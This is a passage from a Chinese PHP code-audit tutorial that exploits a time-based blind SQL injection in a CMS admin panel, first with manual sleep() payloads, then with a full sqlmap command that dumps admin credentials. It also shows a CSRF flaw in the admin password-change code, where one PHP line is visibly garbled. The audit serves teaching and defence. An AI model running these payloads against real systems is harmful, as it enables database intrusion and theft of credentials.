PHP代码审计之入门实战

来源:岁月联盟 编辑:猪蛋儿 时间:2020-02-10

数据库监控工具来看一下后台执行了什么样的SQL语句:
select * from php_admin where adm_id = 3
先延时再验证一下:
cmd=del_admin&id=3 and sleep(10)
后台SQL语句:
select * from php_admin where adm_id = 3 and sleep(10)
然鹅测试发现并没有延时反应,因为这里是删除用户,当这个用户的ID被删掉以后,用and语句前提是两边都是真才可以,所以这里得把and换成or语句:

延时貌似误差比较大,实际延时的时长大概是理论延时的两倍左右。
既然知道有注入的话 ,下面开始验证吧。
漏洞利用
手工验证
手工延时盲注是个细心的活,下面只举个基本例子:
# 判断当前数据库长度
# 当前数据库长度是否为 1 没有延时 不是
cmd=del_admin&id=3 or if(length(database())=1,sleep(3),0)
# 延时 表明当前数据库长度为 6
cmd=del_admin&id=3 or if(length(database())=6,sleep(3),0)
# 当前数据库第1个字母的ascii码是否为 97 没有延时 不是
cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=97,sleep(3),0)
# 延时 表明当前数据库第1个字母的ascii码为 115 即 's'
cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=115,sleep(3),0)
# 当前数据库第2个字母的ascii码是否为 97 没有延时 不是
cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=97,sleep(3),0)
# 延时 表明当前数据库第2个字母的ascii码为 105 即 'i'
cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=105,sleep(3),0)
...
SQLMap注入
为啥不自己写脚本来注入呢???因为SQLMap本身很强大,这里不需要造轮子,很多人不了解SQLMap,认为现在基本上SQLMap注入不出来啥,实际上还是他们不够了解,SQLMap灵活程度非常高,远比自己造轮子写脚本快的多。下面直接上关键的用法参数吧:
sqlmap -u "http://10.211.55.12//admin.php?/deal/dir-basic/" --cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;" --data="cmd=del_admin&id=3" -p "id" --technique=T --random-agent -v 3 --tamper="between" -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump
注入结果

细节
-u "http://10.211.55.12//admin.php?/deal/dir-basic/"
实际上也可以 保存数据包为文本,然后-r,文本里面手动标 星号
--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"
因为这个是后台盲注,所以这里需要Cookie认证一下
--data="cmd=del_admin&id=3"
手动写入POST数据包,将请求中提供对应发送的数据隐式地将 GET 改成 POST
-p "id"
手动指出存在注入的参数
--technique=T
手动指定时间型盲注的检测技术,SQLMap默认检测技术为 BEUSTQ
--random-agent
好习惯,随机user-agent
-v 3
国光自己的习惯,显示已注入的 payloads,国光习惯看SQLMap的payload,看多有助于学习先进的手工注入技术
--tamper="between"
因为这个网站过滤了尖括号,所以介个插件,作用是NOT BETWEEN 0 AND #替换大于号>,BETWEEN # AND #替换等于号=
-D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump
日常操作,这里大家应该很熟悉了,国光就不再BB了
管理员CSRF
漏洞分析
修改管理员密码,没有验证就密码,直接提供新密码,而且没有Token验证来防御CSRF攻击:
admin/moudle/basic/deal.php
function edit_admin()
{
    global $global,$smarty;
    $adm_id = post('adm_id');
    $adm_password = post('adm_password');
    $re_password = post('re_password');   
    $obj = new admin();
    $obj->set_where('adm_id = '.$global['admin_id']);
    $a = $obj->get_one();
    $obj->set_where('');
    $obj->set_where("adm_id = $adm_id");
    $b = $obj->get_one();
    $success = 0;
    if($obj->get_count())
    {
        if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] 'adm_grade'])
        {
            if(strlen($adm_password) >= 5 && $adm_password == $re_password)
            {
                $obj->set_value('adm_password',md5($adm_password));
                $obj->edit();
                $success = 1;
            }

上一页  [1] [2] [3] [4] [5] [6] [7]  下一页